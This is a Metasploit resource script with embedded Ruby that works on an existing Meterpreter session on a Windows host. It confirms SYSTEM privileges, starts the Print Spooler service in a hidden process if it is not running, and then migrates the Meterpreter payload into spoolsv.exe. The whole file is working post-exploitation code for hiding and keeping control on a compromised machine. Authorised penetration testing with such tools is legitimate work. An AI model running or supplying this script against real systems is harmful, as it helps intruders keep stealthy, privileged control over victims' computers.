# checks if spooler is running. If not, starts it
# migrates to spooler 

# usage (e.g. from msfconsole)
# setg SESSION 1
# resource spooler_migrate

<ruby>
session = framework.sessions[Integer(framework.datastore['SESSION'])]
if (session.type == "meterpreter")

	uid = session.sys.config.getuid

	if (uid != "NT AUTHORITY\\SYSTEM")
		print_error("Error, must have SYSTEM meterpreter shell")
		return
	end

	processes = session.sys.process.get_processes

	spooler_proc = nil

	while (spooler_proc == nil)
		processes.each do |proc|
			spooler_proc = proc['pid'] if proc['name'] == "spoolsv.exe" and proc["user"] == "NT AUTHORITY\\SYSTEM"
		end

		if (spooler_proc == nil)
			print_status("spooler isn't running - starting")
			print_status("net start spooler")
			m_cmd = "net start spooler"
			proc = session.sys.process.execute(m_cmd , nil, {'Hidden' => 'true', 'Channelized' => true})
			proc.wait()

			print_status("sleeping for 20")
			sleep 20
		end
	end

	print_status("migrating to spooler")
	session.core.migrate(spooler_proc)
	print_status("done migrating")

end
</ruby>